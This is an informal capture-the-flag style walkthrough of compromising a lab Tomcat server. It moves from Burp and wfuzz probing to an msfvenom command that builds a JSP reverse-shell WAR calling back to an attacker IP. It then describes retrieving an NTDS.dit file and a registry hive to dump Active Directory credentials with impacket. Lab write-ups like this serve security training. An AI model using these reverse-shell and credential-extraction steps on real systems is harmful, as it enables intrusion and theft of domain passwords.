Checking for useragent on proxy
There is none, there for we will use BurpSuite to find other information that could be of value to us.
When we set the path to file, we get a 'try harder error message' when we set the path to the page itself we get that page by itself. Knowing this, we can use wfuzz to find internal ports.
Access gained, now that we have access, lets see if we can upload a shellaroo up inside this badboi.
Using MSFVenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=80 -f war > bandido.war
UPLOAD SHELL, SET UP LISTENER ON PORT 80 and access that file on your browser as shown below.
Exploring Tomcat after initial access we were able to find a .dit file and a .bin file from previous pentest data.
This is useful because:
ntds are stored on windows active directory controllers. Its what contains windows domain innformation including users and passwords.
Running file on the found files we learn that:
the .bin file is a MS Windows registry file. We can assume this is a system hive file which contains the boot key that allows you to decrypt the .dit file. Lets transfer these files over to our KALI machine.
After you transfer the files, use impacket to to parse critical information that could be of use to us.
